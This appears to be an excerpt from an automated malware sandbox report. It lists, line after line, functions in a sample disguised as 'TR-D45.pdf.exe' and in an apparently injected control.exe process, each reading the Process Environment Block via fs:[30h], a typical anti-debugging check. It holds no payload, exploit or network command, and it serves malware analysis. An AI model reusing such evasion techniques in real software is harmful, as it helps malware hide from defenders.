Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E31B260 mov eax, dword ptr fs:[00000030h] 1_2_1E31B260
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E338A62 mov eax, dword ptr fs:[00000030h] 1_2_1E338A62
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h] 1_2_1E269240
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h] 1_2_1E269240
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h] 1_2_1E269240
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h] 1_2_1E269240
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32EA55 mov eax, dword ptr fs:[00000030h] 1_2_1E32EA55
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2F4257 mov eax, dword ptr fs:[00000030h] 1_2_1E2F4257
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h] 1_2_1E2652A5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h] 1_2_1E2652A5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h] 1_2_1E2652A5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h] 1_2_1E2652A5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h] 1_2_1E2652A5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27AAB0 mov eax, dword ptr fs:[00000030h] 1_2_1E27AAB0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27AAB0 mov eax, dword ptr fs:[00000030h] 1_2_1E27AAB0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29FAB0 mov eax, dword ptr fs:[00000030h] 1_2_1E29FAB0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29D294 mov eax, dword ptr fs:[00000030h] 1_2_1E29D294
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29D294 mov eax, dword ptr fs:[00000030h] 1_2_1E29D294
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292AE4 mov eax, dword ptr fs:[00000030h] 1_2_1E292AE4
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292ACB mov eax, dword ptr fs:[00000030h] 1_2_1E292ACB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32131B mov eax, dword ptr fs:[00000030h] 1_2_1E32131B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26DB60 mov ecx, dword ptr fs:[00000030h] 1_2_1E26DB60
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E293B7A mov eax, dword ptr fs:[00000030h] 1_2_1E293B7A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E293B7A mov eax, dword ptr fs:[00000030h] 1_2_1E293B7A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26DB40 mov eax, dword ptr fs:[00000030h] 1_2_1E26DB40
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E338B58 mov eax, dword ptr fs:[00000030h] 1_2_1E338B58
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26F358 mov eax, dword ptr fs:[00000030h] 1_2_1E26F358
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E294BAD mov eax, dword ptr fs:[00000030h] 1_2_1E294BAD
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E294BAD mov eax, dword ptr fs:[00000030h] 1_2_1E294BAD
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E294BAD mov eax, dword ptr fs:[00000030h] 1_2_1E294BAD
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E335BA5 mov eax, dword ptr fs:[00000030h] 1_2_1E335BA5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E271B8F mov eax, dword ptr fs:[00000030h] 1_2_1E271B8F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E271B8F mov eax, dword ptr fs:[00000030h] 1_2_1E271B8F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E31D380 mov ecx, dword ptr fs:[00000030h] 1_2_1E31D380
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32138A mov eax, dword ptr fs:[00000030h] 1_2_1E32138A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29B390 mov eax, dword ptr fs:[00000030h] 1_2_1E29B390
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292397 mov eax, dword ptr fs:[00000030h] 1_2_1E292397
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28DBE9 mov eax, dword ptr fs:[00000030h] 1_2_1E28DBE9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2903E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2903E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2903E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2903E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2903E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2903E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E53CA mov eax, dword ptr fs:[00000030h] 1_2_1E2E53CA
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E53CA mov eax, dword ptr fs:[00000030h] 1_2_1E2E53CA
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h] 1_2_1E29002D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h] 1_2_1E29002D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h] 1_2_1E29002D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h] 1_2_1E29002D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h] 1_2_1E29002D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h] 1_2_1E27B02A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h] 1_2_1E27B02A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h] 1_2_1E27B02A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h] 1_2_1E27B02A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E334015 mov eax, dword ptr fs:[00000030h] 1_2_1E334015
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E334015 mov eax, dword ptr fs:[00000030h] 1_2_1E334015
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E7016 mov eax, dword ptr fs:[00000030h] 1_2_1E2E7016
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E7016 mov eax, dword ptr fs:[00000030h] 1_2_1E2E7016
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E7016 mov eax, dword ptr fs:[00000030h] 1_2_1E2E7016
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E322073 mov eax, dword ptr fs:[00000030h] 1_2_1E322073
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E331074 mov eax, dword ptr fs:[00000030h] 1_2_1E331074
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E280050 mov eax, dword ptr fs:[00000030h] 1_2_1E280050
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E280050 mov eax, dword ptr fs:[00000030h] 1_2_1E280050
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A90AF mov eax, dword ptr fs:[00000030h] 1_2_1E2A90AF
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2920A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29F0BF mov ecx, dword ptr fs:[00000030h] 1_2_1E29F0BF
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29F0BF mov eax, dword ptr fs:[00000030h] 1_2_1E29F0BF
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29F0BF mov eax, dword ptr fs:[00000030h] 1_2_1E29F0BF
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269080 mov eax, dword ptr fs:[00000030h] 1_2_1E269080
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E3884 mov eax, dword ptr fs:[00000030h] 1_2_1E2E3884
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E3884 mov eax, dword ptr fs:[00000030h] 1_2_1E2E3884
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2640E1 mov eax, dword ptr fs:[00000030h] 1_2_1E2640E1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2640E1 mov eax, dword ptr fs:[00000030h] 1_2_1E2640E1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2640E1 mov eax, dword ptr fs:[00000030h] 1_2_1E2640E1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2658EC mov eax, dword ptr fs:[00000030h] 1_2_1E2658EC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h] 1_2_1E2FB8D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FB8D0 mov ecx, dword ptr fs:[00000030h] 1_2_1E2FB8D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h] 1_2_1E2FB8D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h] 1_2_1E2FB8D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h] 1_2_1E2FB8D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h] 1_2_1E2FB8D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h] 1_2_1E284120
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h] 1_2_1E284120
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h] 1_2_1E284120
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h] 1_2_1E284120
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E284120 mov ecx, dword ptr fs:[00000030h] 1_2_1E284120
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29513A mov eax, dword ptr fs:[00000030h] 1_2_1E29513A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29513A mov eax, dword ptr fs:[00000030h] 1_2_1E29513A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269100 mov eax, dword ptr fs:[00000030h] 1_2_1E269100
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269100 mov eax, dword ptr fs:[00000030h] 1_2_1E269100
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E269100 mov eax, dword ptr fs:[00000030h] 1_2_1E269100
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26C962 mov eax, dword ptr fs:[00000030h] 1_2_1E26C962
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26B171 mov eax, dword ptr fs:[00000030h] 1_2_1E26B171
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26B171 mov eax, dword ptr fs:[00000030h] 1_2_1E26B171
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28B944 mov eax, dword ptr fs:[00000030h] 1_2_1E28B944
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28B944 mov eax, dword ptr fs:[00000030h] 1_2_1E28B944
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E69A6 mov eax, dword ptr fs:[00000030h] 1_2_1E2E69A6
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2961A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2961A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2961A0 mov eax, dword ptr fs:[00000030h] 1_2_1E2961A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h] 1_2_1E2E51BE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h] 1_2_1E2E51BE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h] 1_2_1E2E51BE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h] 1_2_1E2E51BE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h] 1_2_1E3249A4
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h] 1_2_1E3249A4
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h] 1_2_1E3249A4
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h] 1_2_1E3249A4
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28C182 mov eax, dword ptr fs:[00000030h] 1_2_1E28C182
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29A185 mov eax, dword ptr fs:[00000030h] 1_2_1E29A185
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292990 mov eax, dword ptr fs:[00000030h] 1_2_1E292990
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2F41E8 mov eax, dword ptr fs:[00000030h] 1_2_1E2F41E8
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26B1E1 mov eax, dword ptr fs:[00000030h] 1_2_1E26B1E1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26B1E1 mov eax, dword ptr fs:[00000030h] 1_2_1E26B1E1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26B1E1 mov eax, dword ptr fs:[00000030h] 1_2_1E26B1E1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446A44B mov eax, dword ptr fs:[00000030h] 12_2_0446A44B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04450050 mov eax, dword ptr fs:[00000030h] 12_2_04450050
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04450050 mov eax, dword ptr fs:[00000030h] 12_2_04450050
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CC450 mov eax, dword ptr fs:[00000030h] 12_2_044CC450
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CC450 mov eax, dword ptr fs:[00000030h] 12_2_044CC450
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04501074 mov eax, dword ptr fs:[00000030h] 12_2_04501074
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445746D mov eax, dword ptr fs:[00000030h] 12_2_0445746D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F2073 mov eax, dword ptr fs:[00000030h] 12_2_044F2073
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6C0A mov eax, dword ptr fs:[00000030h] 12_2_044B6C0A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6C0A mov eax, dword ptr fs:[00000030h] 12_2_044B6C0A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6C0A mov eax, dword ptr fs:[00000030h] 12_2_044B6C0A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6C0A mov eax, dword ptr fs:[00000030h] 12_2_044B6C0A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04504015 mov eax, dword ptr fs:[00000030h] 12_2_04504015
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04504015 mov eax, dword ptr fs:[00000030h] 12_2_04504015
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1C06 mov eax, dword ptr fs:[00000030h] 12_2_044F1C06
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B7016 mov eax, dword ptr fs:[00000030h] 12_2_044B7016
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B7016 mov eax, dword ptr fs:[00000030h] 12_2_044B7016
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B7016 mov eax, dword ptr fs:[00000030h] 12_2_044B7016
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0450740D mov eax, dword ptr fs:[00000030h] 12_2_0450740D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0450740D mov eax, dword ptr fs:[00000030h] 12_2_0450740D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0450740D mov eax, dword ptr fs:[00000030h] 12_2_0450740D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446BC2C mov eax, dword ptr fs:[00000030h] 12_2_0446BC2C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446002D mov eax, dword ptr fs:[00000030h] 12_2_0446002D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446002D mov eax, dword ptr fs:[00000030h] 12_2_0446002D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446002D mov eax, dword ptr fs:[00000030h] 12_2_0446002D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446002D mov eax, dword ptr fs:[00000030h] 12_2_0446002D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446002D mov eax, dword ptr fs:[00000030h] 12_2_0446002D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444B02A mov eax, dword ptr fs:[00000030h] 12_2_0444B02A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444B02A mov eax, dword ptr fs:[00000030h] 12_2_0444B02A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444B02A mov eax, dword ptr fs:[00000030h] 12_2_0444B02A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444B02A mov eax, dword ptr fs:[00000030h] 12_2_0444B02A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04508CD6 mov eax, dword ptr fs:[00000030h] 12_2_04508CD6
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CB8D0 mov eax, dword ptr fs:[00000030h] 12_2_044CB8D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CB8D0 mov ecx, dword ptr fs:[00000030h] 12_2_044CB8D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CB8D0 mov eax, dword ptr fs:[00000030h] 12_2_044CB8D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CB8D0 mov eax, dword ptr fs:[00000030h] 12_2_044CB8D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CB8D0 mov eax, dword ptr fs:[00000030h] 12_2_044CB8D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CB8D0 mov eax, dword ptr fs:[00000030h] 12_2_044CB8D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044358EC mov eax, dword ptr fs:[00000030h] 12_2_044358EC
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F14FB mov eax, dword ptr fs:[00000030h] 12_2_044F14FB
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6CF0 mov eax, dword ptr fs:[00000030h] 12_2_044B6CF0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6CF0 mov eax, dword ptr fs:[00000030h] 12_2_044B6CF0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6CF0 mov eax, dword ptr fs:[00000030h] 12_2_044B6CF0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439080 mov eax, dword ptr fs:[00000030h] 12_2_04439080
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B3884 mov eax, dword ptr fs:[00000030h] 12_2_044B3884
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B3884 mov eax, dword ptr fs:[00000030h] 12_2_044B3884
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444849B mov eax, dword ptr fs:[00000030h] 12_2_0444849B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 mov eax, dword ptr fs:[00000030h] 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 mov eax, dword ptr fs:[00000030h] 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 mov eax, dword ptr fs:[00000030h] 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 mov eax, dword ptr fs:[00000030h] 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 mov eax, dword ptr fs:[00000030h] 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044620A0 mov eax, dword ptr fs:[00000030h] 12_2_044620A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044790AF mov eax, dword ptr fs:[00000030h] 12_2_044790AF
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446F0BF mov ecx, dword ptr fs:[00000030h] 12_2_0446F0BF
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446F0BF mov eax, dword ptr fs:[00000030h] 12_2_0446F0BF
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446F0BF mov eax, dword ptr fs:[00000030h] 12_2_0446F0BF
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445B944 mov eax, dword ptr fs:[00000030h] 12_2_0445B944
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445B944 mov eax, dword ptr fs:[00000030h] 12_2_0445B944
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04473D43 mov eax, dword ptr fs:[00000030h] 12_2_04473D43
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B3540 mov eax, dword ptr fs:[00000030h] 12_2_044B3540
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04457D50 mov eax, dword ptr fs:[00000030h] 12_2_04457D50
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443C962 mov eax, dword ptr fs:[00000030h] 12_2_0443C962
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443B171 mov eax, dword ptr fs:[00000030h] 12_2_0443B171
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443B171 mov eax, dword ptr fs:[00000030h] 12_2_0443B171
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445C577 mov eax, dword ptr fs:[00000030h] 12_2_0445C577
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445C577 mov eax, dword ptr fs:[00000030h] 12_2_0445C577
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439100 mov eax, dword ptr fs:[00000030h] 12_2_04439100
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439100 mov eax, dword ptr fs:[00000030h] 12_2_04439100
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439100 mov eax, dword ptr fs:[00000030h] 12_2_04439100
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04508D34 mov eax, dword ptr fs:[00000030h] 12_2_04508D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04454120 mov eax, dword ptr fs:[00000030h] 12_2_04454120
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04454120 mov eax, dword ptr fs:[00000030h] 12_2_04454120
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04454120 mov eax, dword ptr fs:[00000030h] 12_2_04454120
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04454120 mov eax, dword ptr fs:[00000030h] 12_2_04454120
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04454120 mov ecx, dword ptr fs:[00000030h] 12_2_04454120
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
